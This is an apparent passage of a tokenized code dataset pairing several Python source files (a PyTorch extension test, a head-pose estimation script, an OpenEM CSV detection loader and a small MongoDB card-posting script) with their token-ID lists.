1678,
396,
1932,
306,
3588,
304,
17814,
9721,
13,
1678,
848,
353,
13189,
5103,
15845,
29898,
6979,
29918,
1272,
467,
517,
29918,
17529,
9721,
580,
13,
13,
1678,
396,
1987,
372,
881,
505,
967,
1015,
19772,
4426,
13,
1678,
848,
29889,
9344,
29889,
17532,
29889,
6799,
877,
6979,
1495,
13,
1678,
848,
29889,
6979,
29889,
9344,
29889,
17532,
29889,
6799,
877,
1767,
2824,
915,
292,
29889,
11745,
877,
1366,
338,
278,
5993,
1495,
13,
2
] |
tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_print_report_notebook.py | yasuyuky/pytorch-pfn-extras | 243 | 13563 | import io
import pytest
import pytorch_pfn_extras as ppe
from pytorch_pfn_extras.training.extensions import _ipython_module_available
from pytorch_pfn_extras.training.extensions.log_report import _pandas_available
@pytest.mark.skipif(
not _ipython_module_available or not _pandas_available,
reason="print report notebook import failed, "
"maybe ipython is not installed"
)
def test_run_print_report_notebook():
max_epochs = 5
iters_per_epoch = 5
manager = ppe.training.ExtensionsManager(
{}, {}, max_epochs, iters_per_epoch=iters_per_epoch)
out = io.StringIO()
log_report = ppe.training.extensions.LogReport()
manager.extend(log_report)
extension = ppe.training.extensions.PrintReportNotebook(out=out)
manager.extend(extension)
for _ in range(max_epochs):
for _ in range(iters_per_epoch):
with manager.run_iteration():
# Only test it runs without fail
# The value is not tested now...
pass
if __name__ == '__main__':
pytest.main([__file__, '-v', '-s'])
| [
1,
1053,
12013,
13,
13,
5215,
11451,
1688,
13,
13,
5215,
282,
3637,
25350,
29918,
7810,
29876,
29918,
1062,
3417,
408,
282,
412,
13,
3166,
282,
3637,
25350,
29918,
7810,
29876,
29918,
1062,
3417,
29889,
26495,
29889,
24299,
1053,
903,
666,
1656,
29918,
5453,
29918,
16515,
13,
3166,
282,
3637,
25350,
29918,
7810,
29876,
29918,
1062,
3417,
29889,
26495,
29889,
24299,
29889,
1188,
29918,
12276,
1053,
903,
15112,
29918,
16515,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
11014,
361,
29898,
13,
1678,
451,
903,
666,
1656,
29918,
5453,
29918,
16515,
470,
451,
903,
15112,
29918,
16515,
29892,
13,
1678,
2769,
543,
2158,
3461,
451,
19273,
1053,
5229,
29892,
376,
13,
965,
376,
26026,
474,
4691,
338,
451,
5130,
29908,
13,
29897,
13,
1753,
1243,
29918,
3389,
29918,
2158,
29918,
12276,
29918,
1333,
19273,
7295,
13,
1678,
4236,
29918,
1022,
2878,
29879,
353,
29871,
29945,
13,
1678,
372,
414,
29918,
546,
29918,
1022,
2878,
353,
29871,
29945,
13,
1678,
8455,
353,
282,
412,
29889,
26495,
29889,
26982,
3260,
29898,
13,
4706,
24335,
24335,
4236,
29918,
1022,
2878,
29879,
29892,
372,
414,
29918,
546,
29918,
1022,
2878,
29922,
277,
414,
29918,
546,
29918,
1022,
2878,
29897,
13,
13,
1678,
714,
353,
12013,
29889,
1231,
5971,
580,
13,
1678,
1480,
29918,
12276,
353,
282,
412,
29889,
26495,
29889,
24299,
29889,
3403,
13020,
580,
13,
1678,
8455,
29889,
21843,
29898,
1188,
29918,
12276,
29897,
13,
1678,
6081,
353,
282,
412,
29889,
26495,
29889,
24299,
29889,
11816,
13020,
3664,
19273,
29898,
449,
29922,
449,
29897,
13,
1678,
8455,
29889,
21843,
29898,
17588,
29897,
13,
13,
1678,
363,
903,
297,
3464,
29898,
3317,
29918,
1022,
2878,
29879,
1125,
13,
4706,
363,
903,
297,
3464,
29898,
277,
414,
29918,
546,
29918,
1022,
2878,
1125,
13,
9651,
411,
8455,
29889,
3389,
29918,
1524,
362,
7295,
13,
18884,
396,
9333,
1243,
372,
6057,
1728,
4418,
13,
18884,
396,
450,
995,
338,
451,
9528,
1286,
856,
13,
18884,
1209,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
11451,
1688,
29889,
3396,
4197,
1649,
1445,
1649,
29892,
17411,
29894,
742,
17411,
29879,
11287,
13,
2
] |
headpose_estimation_pairs.py | MitchellX/deep-head-pose | 9 | 151842 | <reponame>MitchellX/deep-head-pose
# coding=utf-8
import dlib
import sys, os, argparse
import numpy as np
import cv2
import torch
from torch.autograd import Variable
from torchvision import transforms
import torch.backends.cudnn as cudnn
import torchvision
import torch.nn.functional as F
from PIL import Image
sys.path.append('code/')
import datasets, hopenet, utils
join = os.path.join
class HeadPose:
def __init__(self):
cudnn.enabled = True
batch_size = 1
self.gpu = 0
snapshot_path = '/home/xiangmingcan/notespace/deep-head-pose/hopenet_robust_alpha1.pkl'
input_path = '/home/xiangmingcan/notespace/cvpr_data/celeba/'
output = 'output/celeba.txt'
face_model = '/home/xiangmingcan/notespace/deep-head-pose/mmod_human_face_detector.dat'
out_dir = os.path.split(output)[0]
name = os.path.split(output)[1]
write_path = join(out_dir, "images_" + name[:-4])
if not os.path.exists(write_path):
os.makedirs(write_path)
if not os.path.exists(input_path):
sys.exit('Folder does not exist')
# ResNet50 structure
self.model = hopenet.Hopenet(torchvision.models.resnet.Bottleneck, [3, 4, 6, 3], 66)
# Dlib face detection model
self.cnn_face_detector = dlib.cnn_face_detection_model_v1(face_model)
print 'Loading snapshot.'
# Load snapshot
saved_state_dict = torch.load(snapshot_path)
self.model.load_state_dict(saved_state_dict)
print 'Loading data.'
self.transformations = transforms.Compose([transforms.Scale(224),
transforms.CenterCrop(224), transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])])
self.model.cuda(self.gpu)
print 'Ready to test network.'
# Test the Model
self.model.eval() # Change model to 'eval' mode (BN uses moving mean/var).
total = 0
self.idx_tensor = [idx for idx in range(66)]
self.idx_tensor = torch.FloatTensor(self.idx_tensor).cuda(self.gpu)
# -------------- for image operation ------------------
def estimate(self, image):
# image 是完整的路径
image = cv2.imread(image)
cv2_frame = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
# Dlib detect
dets = self.cnn_face_detector(cv2_frame, 1)
yaw_predicted, pitch_predicted, roll_predicted = None, None, None
for idx, det in enumerate(dets):
# Get x_min, y_min, x_max, y_max, conf
x_min = det.rect.left()
y_min = det.rect.top()
x_max = det.rect.right()
y_max = det.rect.bottom()
conf = det.confidence
bbox_width = abs(x_max - x_min)
bbox_height = abs(y_max - y_min)
x_min -= 2 * bbox_width / 4
x_max += 2 * bbox_width / 4
y_min -= 3 * bbox_height / 4
y_max += bbox_height / 4
x_min = max(x_min, 0); y_min = max(y_min, 0)
x_max = min(image.shape[1], x_max); y_max = min(image.shape[0], y_max)
# Crop image
img = cv2_frame[y_min:y_max,x_min:x_max]
img = Image.fromarray(img)
# Transform
img = self.transformations(img)
img_shape = img.size()
img = img.view(1, img_shape[0], img_shape[1], img_shape[2])
img = Variable(img).cuda(self.gpu)
yaw, pitch, roll = self.model(img)
yaw_predicted = F.softmax(yaw)
pitch_predicted = F.softmax(pitch)
roll_predicted = F.softmax(roll)
# Get continuous predictions in degrees.
yaw_predicted = torch.sum(yaw_predicted.data[0] * self.idx_tensor) * 3 - 99
pitch_predicted = torch.sum(pitch_predicted.data[0] * self.idx_tensor) * 3 - 99
roll_predicted = torch.sum(roll_predicted.data[0] * self.idx_tensor) * 3 - 99
# # Print new frame with cube and axis
# drawed_img = utils.draw_axis(image, yaw_predicted, pitch_predicted, roll_predicted, tdx =(x_min + x_max) / 2, tdy=(y_min + y_max) / 2, size =bbox_height / 2)
return [yaw_predicted, pitch_predicted, roll_predicted]
if __name__ == '__main__':
dataset = sys.argv[1]
method = sys.argv[2]
flag = 0
if dataset == "ffhq":
flag = 1
src = "/home/xiangmingcan/notespace/cvpr_data/" + dataset
tgt = "/home/xiangmingcan/notespace/cvpr_result/" + dataset + '/' + method
save_log = os.path.join("headPose/", dataset, method + ".txt")
path = os.path.join("headPose/", dataset)
if not os.path.exists(path):
os.makedirs(path)
logFile = open(save_log, 'w')
img_list = os.listdir(tgt)
sorted(img_list)
headpose = HeadPose()
for input_img in img_list:
if '_mask' in input_img:
continue
eular_angles_result = headpose.estimate(os.path.join(tgt, input_img))
print(eular_angles_result)
# reference image 的欧拉角
refer_img = input_img.split('-')[1]
if flag:
refer_img = refer_img[:-3] + 'png'
eular_angles_refer = headpose.estimate(os.path.join(src, refer_img))
print(eular_angles_refer)
vec1 = np.array(eular_angles_result)
vec2 = np.array(eular_angles_refer)
if (None in vec1) or (None in vec2):
continue
distance = np.linalg.norm(vec1 - vec2)
print(distance)
print('\n')
logFile.write(str(distance))
logFile.write('\n')
logFile.close() | [
1,
529,
276,
1112,
420,
29958,
29924,
2335,
514,
29990,
29914,
24535,
29899,
2813,
29899,
4220,
13,
29937,
14137,
29922,
9420,
29899,
29947,
13,
5215,
270,
1982,
13,
5215,
10876,
29892,
2897,
29892,
1852,
5510,
13,
5215,
12655,
408,
7442,
13,
5215,
13850,
29906,
13,
5215,
4842,
305,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
1053,
28736,
13,
3166,
4842,
305,
4924,
1053,
4327,
29879,
13,
5215,
4842,
305,
29889,
1627,
1975,
29889,
29883,
566,
15755,
408,
274,
566,
15755,
13,
5215,
4842,
305,
4924,
13,
5215,
4842,
305,
29889,
15755,
29889,
2220,
284,
408,
383,
13,
3166,
349,
6227,
1053,
7084,
13,
13,
9675,
29889,
2084,
29889,
4397,
877,
401,
29914,
1495,
13,
5215,
20035,
29892,
298,
3150,
300,
29892,
3667,
29879,
13,
13,
7122,
353,
2897,
29889,
2084,
29889,
7122,
13,
13,
1990,
12252,
29925,
852,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
274,
566,
15755,
29889,
17590,
353,
5852,
13,
4706,
9853,
29918,
2311,
353,
29871,
29896,
13,
4706,
1583,
29889,
29887,
3746,
353,
29871,
29900,
13,
4706,
22395,
29918,
2084,
353,
8207,
5184,
29914,
5389,
574,
4056,
3068,
29914,
16953,
3535,
29914,
24535,
29899,
2813,
29899,
4220,
29914,
29882,
3150,
300,
29918,
13716,
504,
29918,
2312,
29896,
29889,
29886,
6321,
29915,
13,
4706,
1881,
29918,
2084,
353,
8207,
5184,
29914,
5389,
574,
4056,
3068,
29914,
16953,
3535,
29914,
11023,
558,
29918,
1272,
29914,
346,
280,
2291,
22208,
13,
4706,
1962,
353,
525,
4905,
29914,
346,
280,
2291,
29889,
3945,
29915,
13,
4706,
3700,
29918,
4299,
353,
8207,
5184,
29914,
5389,
574,
4056,
3068,
29914,
16953,
3535,
29914,
24535,
29899,
2813,
29899,
4220,
29914,
29885,
1545,
29918,
26029,
29918,
2161,
29918,
4801,
3019,
29889,
4130,
29915,
13,
13,
4706,
714,
29918,
3972,
353,
2897,
29889,
2084,
29889,
5451,
29898,
4905,
9601,
29900,
29962,
13,
4706,
1024,
353,
2897,
29889,
2084,
29889,
5451,
29898,
4905,
9601,
29896,
29962,
13,
13,
4706,
2436,
29918,
2084,
353,
5988,
29898,
449,
29918,
3972,
29892,
376,
8346,
27508,
718,
1024,
7503,
29899,
29946,
2314,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
3539,
29918,
2084,
1125,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
3539,
29918,
2084,
29897,
13,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2080,
29918,
2084,
1125,
13,
9651,
10876,
29889,
13322,
877,
12924,
947,
451,
1863,
1495,
13,
13,
4706,
396,
2538,
6779,
29945,
29900,
3829,
13,
4706,
1583,
29889,
4299,
353,
298,
3150,
300,
29889,
29950,
3150,
300,
29898,
7345,
305,
4924,
29889,
9794,
29889,
690,
1212,
29889,
29933,
1501,
29880,
1600,
384,
29892,
518,
29941,
29892,
29871,
29946,
29892,
29871,
29953,
29892,
29871,
29941,
1402,
29871,
29953,
29953,
29897,
13,
13,
4706,
396,
360,
1982,
3700,
15326,
1904,
13,
4706,
1583,
29889,
29883,
15755,
29918,
2161,
29918,
4801,
3019,
353,
270,
1982,
29889,
29883,
15755,
29918,
2161,
29918,
29881,
2650,
428,
29918,
4299,
29918,
29894,
29896,
29898,
2161,
29918,
4299,
29897,
13,
13,
4706,
1596,
525,
23456,
22395,
6169,
13,
4706,
396,
16012,
22395,
13,
4706,
7160,
29918,
3859,
29918,
8977,
353,
4842,
305,
29889,
1359,
29898,
29879,
14551,
29918,
2084,
29897,
13,
4706,
1583,
29889,
4299,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
17314,
29918,
3859,
29918,
8977,
29897,
13,
13,
4706,
1596,
525,
23456,
848,
6169,
13,
13,
4706,
1583,
29889,
9067,
800,
353,
4327,
29879,
29889,
1523,
4220,
4197,
9067,
29879,
29889,
17185,
29898,
29906,
29906,
29946,
511,
13,
4706,
4327,
29879,
29889,
13409,
29907,
1336,
29898,
29906,
29906,
29946,
511,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
4706,
4327,
29879,
29889,
19077,
675,
29898,
12676,
11759,
29900,
29889,
29946,
29947,
29945,
29892,
29871,
29900,
29889,
29946,
29945,
29953,
29892,
29871,
29900,
29889,
29946,
29900,
29953,
1402,
3659,
11759,
29900,
29889,
29906,
29906,
29929,
29892,
29871,
29900,
29889,
29906,
29906,
29946,
29892,
29871,
29900,
29889,
29906,
29906,
29945,
2314,
2314,
13,
13,
4706,
1583,
29889,
4299,
29889,
29883,
6191,
29898,
1311,
29889,
29887,
3746,
29897,
13,
13,
4706,
1596,
525,
28181,
304,
1243,
3564,
6169,
13,
13,
4706,
396,
4321,
278,
8125,
13,
4706,
1583,
29889,
4299,
29889,
14513,
580,
29871,
396,
10726,
1904,
304,
525,
14513,
29915,
4464,
313,
29933,
29940,
3913,
8401,
2099,
29914,
1707,
467,
13,
4706,
3001,
353,
29871,
29900,
13,
13,
4706,
1583,
29889,
13140,
29918,
20158,
353,
518,
13140,
363,
22645,
297,
3464,
29898,
29953,
29953,
4638,
13,
4706,
1583,
29889,
13140,
29918,
20158,
353,
4842,
305,
29889,
11031,
29911,
6073,
29898,
1311,
29889,
13140,
29918,
20158,
467,
29883,
6191,
29898,
1311,
29889,
29887,
3746,
29897,
13,
13,
4706,
396,
448,
9072,
29899,
363,
1967,
5858,
448,
2683,
29899,
13,
1678,
822,
12678,
29898,
1311,
29892,
1967,
1125,
13,
4706,
396,
1967,
29871,
30392,
31366,
233,
152,
183,
30210,
30874,
232,
193,
135,
13,
4706,
1967,
353,
13850,
29906,
29889,
326,
949,
29898,
3027,
29897,
13,
4706,
13850,
29906,
29918,
2557,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
3027,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
28212,
29897,
13,
13,
4706,
396,
360,
1982,
6459,
13,
4706,
1439,
29879,
353,
1583,
29889,
29883,
15755,
29918,
2161,
29918,
4801,
3019,
29898,
11023,
29906,
29918,
2557,
29892,
29871,
29896,
29897,
13,
13,
4706,
343,
1450,
29918,
11965,
18186,
29892,
15905,
29918,
11965,
18186,
29892,
9679,
29918,
11965,
18186,
353,
6213,
29892,
6213,
29892,
6213,
13,
4706,
363,
22645,
29892,
1439,
297,
26985,
29898,
29881,
1691,
1125,
13,
9651,
396,
3617,
921,
29918,
1195,
29892,
343,
29918,
1195,
29892,
921,
29918,
3317,
29892,
343,
29918,
3317,
29892,
1970,
13,
9651,
921,
29918,
1195,
353,
1439,
29889,
1621,
29889,
1563,
580,
13,
9651,
343,
29918,
1195,
353,
1439,
29889,
1621,
29889,
3332,
580,
13,
9651,
921,
29918,
3317,
353,
1439,
29889,
1621,
29889,
1266,
580,
13,
9651,
343,
29918,
3317,
353,
1439,
29889,
1621,
29889,
8968,
580,
13,
9651,
1970,
353,
1439,
29889,
5527,
5084,
13,
13,
9651,
289,
1884,
29918,
2103,
353,
6425,
29898,
29916,
29918,
3317,
448,
921,
29918,
1195,
29897,
13,
9651,
289,
1884,
29918,
3545,
353,
6425,
29898,
29891,
29918,
3317,
448,
343,
29918,
1195,
29897,
13,
9651,
921,
29918,
1195,
22361,
29871,
29906,
334,
289,
1884,
29918,
2103,
847,
29871,
29946,
13,
9651,
921,
29918,
3317,
4619,
29871,
29906,
334,
289,
1884,
29918,
2103,
847,
29871,
29946,
13,
9651,
343,
29918,
1195,
22361,
29871,
29941,
334,
289,
1884,
29918,
3545,
847,
29871,
29946,
13,
9651,
343,
29918,
3317,
4619,
289,
1884,
29918,
3545,
847,
29871,
29946,
13,
9651,
921,
29918,
1195,
353,
4236,
29898,
29916,
29918,
1195,
29892,
29871,
29900,
416,
343,
29918,
1195,
353,
4236,
29898,
29891,
29918,
1195,
29892,
29871,
29900,
29897,
13,
9651,
921,
29918,
3317,
353,
1375,
29898,
3027,
29889,
12181,
29961,
29896,
1402,
921,
29918,
3317,
416,
343,
29918,
3317,
353,
1375,
29898,
3027,
29889,
12181,
29961,
29900,
1402,
343,
29918,
3317,
29897,
13,
9651,
396,
315,
1336,
1967,
13,
9651,
10153,
353,
13850,
29906,
29918,
2557,
29961,
29891,
29918,
1195,
29901,
29891,
29918,
3317,
29892,
29916,
29918,
1195,
29901,
29916,
29918,
3317,
29962,
13,
9651,
10153,
353,
7084,
29889,
3166,
2378,
29898,
2492,
29897,
13,
13,
9651,
396,
4103,
689,
13,
9651,
10153,
353,
1583,
29889,
9067,
800,
29898,
2492,
29897,
13,
9651,
10153,
29918,
12181,
353,
10153,
29889,
2311,
580,
13,
9651,
10153,
353,
10153,
29889,
1493,
29898,
29896,
29892,
10153,
29918,
12181,
29961,
29900,
1402,
10153,
29918,
12181,
29961,
29896,
1402,
10153,
29918,
12181,
29961,
29906,
2314,
13,
9651,
10153,
353,
28736,
29898,
2492,
467,
29883,
6191,
29898,
1311,
29889,
29887,
3746,
29897,
13,
13,
9651,
343,
1450,
29892,
15905,
29892,
9679,
353,
1583,
29889,
4299,
29898,
2492,
29897,
13,
13,
9651,
343,
1450,
29918,
11965,
18186,
353,
383,
29889,
2695,
3317,
29898,
29891,
1450,
29897,
13,
9651,
15905,
29918,
11965,
18186,
353,
383,
29889,
2695,
3317,
29898,
29886,
2335,
29897,
13,
9651,
9679,
29918,
11965,
18186,
353,
383,
29889,
2695,
3317,
29898,
1245,
29897,
13,
9651,
396,
3617,
9126,
27303,
297,
14496,
29889,
13,
9651,
343,
1450,
29918,
11965,
18186,
353,
4842,
305,
29889,
2083,
29898,
29891,
1450,
29918,
11965,
18186,
29889,
1272,
29961,
29900,
29962,
334,
1583,
29889,
13140,
29918,
20158,
29897,
334,
29871,
29941,
448,
29871,
29929,
29929,
13,
9651,
15905,
29918,
11965,
18186,
353,
4842,
305,
29889,
2083,
29898,
29886,
2335,
29918,
11965,
18186,
29889,
1272,
29961,
29900,
29962,
334,
1583,
29889,
13140,
29918,
20158,
29897,
334,
29871,
29941,
448,
29871,
29929,
29929,
13,
9651,
9679,
29918,
11965,
18186,
353,
4842,
305,
29889,
2083,
29898,
1245,
29918,
11965,
18186,
29889,
1272,
29961,
29900,
29962,
334,
1583,
29889,
13140,
29918,
20158,
29897,
334,
29871,
29941,
448,
29871,
29929,
29929,
13,
13,
9651,
396,
396,
13905,
716,
3515,
411,
28704,
322,
9685,
13,
9651,
396,
4216,
287,
29918,
2492,
353,
3667,
29879,
29889,
4012,
29918,
8990,
29898,
3027,
29892,
343,
1450,
29918,
11965,
18186,
29892,
15905,
29918,
11965,
18186,
29892,
9679,
29918,
11965,
18186,
29892,
260,
8235,
353,
29898,
29916,
29918,
1195,
718,
921,
29918,
3317,
29897,
847,
29871,
29906,
29892,
260,
4518,
7607,
29891,
29918,
1195,
718,
343,
29918,
3317,
29897,
847,
29871,
29906,
29892,
2159,
353,
29890,
1884,
29918,
3545,
847,
29871,
29906,
29897,
13,
13,
4706,
736,
518,
29891,
1450,
29918,
11965,
18186,
29892,
15905,
29918,
11965,
18186,
29892,
9679,
29918,
11965,
18186,
29962,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
8783,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
1678,
1158,
353,
10876,
29889,
19218,
29961,
29906,
29962,
13,
13,
1678,
7353,
353,
29871,
29900,
13,
1678,
565,
8783,
1275,
376,
600,
29882,
29939,
1115,
13,
4706,
7353,
353,
29871,
29896,
13,
13,
1678,
4765,
353,
5591,
5184,
29914,
5389,
574,
4056,
3068,
29914,
16953,
3535,
29914,
11023,
558,
29918,
1272,
12975,
718,
8783,
13,
1678,
260,
4141,
353,
5591,
5184,
29914,
5389,
574,
4056,
3068,
29914,
16953,
3535,
29914,
11023,
558,
29918,
2914,
12975,
718,
8783,
718,
8207,
29915,
718,
1158,
13,
13,
1678,
4078,
29918,
1188,
353,
2897,
29889,
2084,
29889,
7122,
703,
2813,
29925,
852,
29914,
613,
8783,
29892,
1158,
718,
11393,
3945,
1159,
13,
13,
1678,
2224,
353,
2897,
29889,
2084,
29889,
7122,
703,
2813,
29925,
852,
29914,
613,
8783,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
2084,
29897,
13,
13,
1678,
1480,
2283,
353,
1722,
29898,
7620,
29918,
1188,
29892,
525,
29893,
1495,
13,
13,
1678,
10153,
29918,
1761,
353,
2897,
29889,
1761,
3972,
29898,
29873,
4141,
29897,
13,
1678,
12705,
29898,
2492,
29918,
1761,
29897,
13,
13,
1678,
2343,
4220,
353,
12252,
29925,
852,
580,
13,
13,
1678,
363,
1881,
29918,
2492,
297,
10153,
29918,
1761,
29901,
13,
4706,
565,
22868,
13168,
29915,
297,
1881,
29918,
2492,
29901,
13,
9651,
6773,
13,
4706,
321,
1070,
29918,
19536,
29918,
2914,
353,
2343,
4220,
29889,
342,
6490,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29873,
4141,
29892,
1881,
29918,
2492,
876,
13,
4706,
1596,
29898,
29872,
1070,
29918,
19536,
29918,
2914,
29897,
13,
13,
4706,
396,
3407,
1967,
29871,
30210,
233,
175,
170,
31543,
31432,
13,
4706,
2737,
29918,
2492,
353,
1881,
29918,
2492,
29889,
5451,
877,
29899,
29861,
29896,
29962,
13,
13,
4706,
565,
7353,
29901,
13,
9651,
2737,
29918,
2492,
353,
2737,
29918,
2492,
7503,
29899,
29941,
29962,
718,
525,
2732,
29915,
13,
13,
4706,
321,
1070,
29918,
19536,
29918,
20275,
353,
2343,
4220,
29889,
342,
6490,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4351,
29892,
2737,
29918,
2492,
876,
13,
4706,
1596,
29898,
29872,
1070,
29918,
19536,
29918,
20275,
29897,
13,
13,
4706,
9649,
29896,
353,
7442,
29889,
2378,
29898,
29872,
1070,
29918,
19536,
29918,
2914,
29897,
13,
4706,
9649,
29906,
353,
7442,
29889,
2378,
29898,
29872,
1070,
29918,
19536,
29918,
20275,
29897,
13,
13,
4706,
565,
313,
8516,
297,
9649,
29896,
29897,
470,
313,
8516,
297,
9649,
29906,
1125,
13,
9651,
6773,
13,
13,
4706,
5418,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
2003,
29896,
448,
9649,
29906,
29897,
13,
4706,
1596,
29898,
19244,
29897,
13,
4706,
1596,
28909,
29876,
1495,
13,
13,
4706,
1480,
2283,
29889,
3539,
29898,
710,
29898,
19244,
876,
13,
4706,
1480,
2283,
29889,
3539,
28909,
29876,
1495,
13,
13,
1678,
1480,
2283,
29889,
5358,
580,
2
] |
deploy_python/openem/Detect/__init__.py | bryan-flywire/openem | 10 | 33140 | from openem.models import ImageModel
from openem.models import Preprocessor
import cv2
import numpy as np
import tensorflow as tf
from collections import namedtuple
import csv
Detection=namedtuple('Detection', ['location',
'confidence',
'species',
'frame',
'video_id'])
# Bring in SSD detector to top-level
from openem.Detect.SSD import SSDDetector
class IO:
def from_csv(filepath_like):
detections=[]
with open(filepath_like, 'r') as csv_file:
reader = csv.DictReader(csv_file)
last_idx = -1
for row in reader:
location=np.array([float(row['x']),
float(row['y']),
float(row['w']),
float(row['h'])])
item = Detection(location=location,
confidence=float(row['detection_conf']),
species=int(float(row['detection_species'])),
frame=int(row['frame']),
video_id=row['video_id'])
frame_num = int(float(row['frame']))
if last_idx == frame_num:
detections[last_idx].append(item)
else:
# Add empties
for _ in range(frame_num-1-last_idx):
detections.append([])
detections.append([item])
last_idx = frame_num
return detections
| [
1,
515,
1722,
331,
29889,
9794,
1053,
7084,
3195,
13,
3166,
1722,
331,
29889,
9794,
1053,
4721,
26482,
13,
13,
5215,
13850,
29906,
13,
5215,
12655,
408,
7442,
13,
5215,
26110,
408,
15886,
13,
13,
3166,
16250,
1053,
4257,
23583,
13,
5215,
11799,
13,
13,
29928,
2650,
428,
29922,
17514,
23583,
877,
29928,
2650,
428,
742,
6024,
5479,
742,
13,
462,
462,
259,
525,
5527,
5084,
742,
13,
462,
462,
259,
525,
24091,
742,
13,
462,
462,
259,
525,
2557,
742,
13,
462,
462,
259,
525,
9641,
29918,
333,
11287,
13,
13,
29937,
1771,
292,
297,
5886,
29928,
1439,
3019,
304,
2246,
29899,
5563,
13,
3166,
1722,
331,
29889,
6362,
522,
29889,
1799,
29928,
1053,
5886,
29928,
6362,
3019,
13,
13,
1990,
10663,
29901,
13,
1678,
822,
515,
29918,
7638,
29898,
1445,
2084,
29918,
4561,
1125,
13,
4706,
1439,
29872,
1953,
29922,
2636,
13,
4706,
411,
1722,
29898,
1445,
2084,
29918,
4561,
29892,
525,
29878,
1495,
408,
11799,
29918,
1445,
29901,
13,
9651,
9591,
353,
11799,
29889,
21533,
6982,
29898,
7638,
29918,
1445,
29897,
13,
13,
9651,
1833,
29918,
13140,
353,
448,
29896,
13,
9651,
363,
1948,
297,
9591,
29901,
13,
18884,
4423,
29922,
9302,
29889,
2378,
4197,
7411,
29898,
798,
1839,
29916,
2033,
511,
13,
462,
462,
259,
5785,
29898,
798,
1839,
29891,
2033,
511,
13,
462,
462,
259,
5785,
29898,
798,
1839,
29893,
2033,
511,
13,
462,
462,
259,
5785,
29898,
798,
1839,
29882,
11287,
2314,
13,
18884,
2944,
353,
360,
2650,
428,
29898,
5479,
29922,
5479,
29892,
13,
462,
462,
16420,
29922,
7411,
29898,
798,
1839,
29881,
2650,
428,
29918,
5527,
2033,
511,
13,
462,
462,
6606,
29922,
524,
29898,
7411,
29898,
798,
1839,
29881,
2650,
428,
29918,
24091,
2033,
8243,
13,
462,
462,
3515,
29922,
524,
29898,
798,
1839,
2557,
2033,
511,
13,
462,
462,
4863,
29918,
333,
29922,
798,
1839,
9641,
29918,
333,
11287,
13,
13,
18884,
3515,
29918,
1949,
353,
938,
29898,
7411,
29898,
798,
1839,
2557,
25901,
13,
18884,
565,
1833,
29918,
13140,
1275,
3515,
29918,
1949,
29901,
13,
462,
1678,
1439,
29872,
1953,
29961,
4230,
29918,
13140,
1822,
4397,
29898,
667,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
396,
3462,
953,
415,
583,
13,
462,
1678,
363,
903,
297,
3464,
29898,
2557,
29918,
1949,
29899,
29896,
29899,
4230,
29918,
13140,
1125,
13,
462,
4706,
1439,
29872,
1953,
29889,
4397,
4197,
2314,
13,
462,
1678,
1439,
29872,
1953,
29889,
4397,
4197,
667,
2314,
13,
462,
1678,
1833,
29918,
13140,
353,
3515,
29918,
1949,
13,
4706,
736,
1439,
29872,
1953,
13,
13,
2
] |
backend/app_interactions.py | cowboycodr/cards-svelte | 0 | 168071 | <gh_stars>0
import uuid
from pymongo import MongoClient
client = MongoClient(port=27017)
db = client.cards
DEFAULT_PFP = "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSwOAz9F23MraOeH5RtdAj883MB-ywpMIPYSv36fcSVFazd1DQANyabtJ3eKBgRw1_t2PM&usqp=CAU"
def create_user(nickname, username, pfp=DEFAULT_PFP, publish=False):
user = {
'id': str(uuid.uuid4()),
'nick': nickname,
'name': username,
'pfp': pfp
}
if publish:
db.users.insert_one(
user
)
return user
def create_card(content, author, publish=False):
card = {
'id': str(uuid.uuid4()),
'author': author,
'content': content,
'likes': 0,
'shares': 0
}
if publish:
db.cards.insert_one(
card
)
return card
def get_user(id):
user = db.users.find_one({'id': id})
return user
def get_card(id):
card = db.users.find_one({'id': id})
return card
me = get_user('c12073cc-c3c0-468a-9393-f46836b0e607')
cards = 10
for _ in range(cards):
print(
create_card(
content='Cards, the in-progress, open-source, simplistic retake of social media.',
author=me,
publish=True
)['id']
) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
318,
5416,
13,
3166,
282,
962,
7443,
1053,
18294,
4032,
13,
13,
4645,
353,
18294,
4032,
29898,
637,
29922,
29906,
29955,
29900,
29896,
29955,
29897,
13,
2585,
353,
3132,
29889,
28160,
13,
13,
23397,
29918,
13691,
29925,
353,
376,
991,
597,
3977,
14740,
29899,
29873,
11197,
29900,
29889,
29887,
7959,
29889,
510,
29914,
8346,
29973,
29939,
29922,
29873,
11197,
29901,
2190,
29881,
29929,
29954,
29883,
10840,
29949,
16748,
29929,
29943,
29906,
29941,
29924,
336,
29949,
29872,
29950,
29945,
29934,
1594,
29909,
29926,
29947,
29947,
29941,
9486,
29899,
5693,
29886,
29924,
5690,
21554,
29894,
29941,
29953,
13801,
7597,
29943,
834,
29881,
29896,
29928,
29984,
2190,
29891,
370,
29873,
29967,
29941,
29872,
26067,
29887,
29934,
29893,
29896,
29918,
29873,
29906,
13427,
29987,
375,
29939,
29886,
29922,
5454,
29965,
29908,
13,
13,
1753,
1653,
29918,
1792,
29898,
19254,
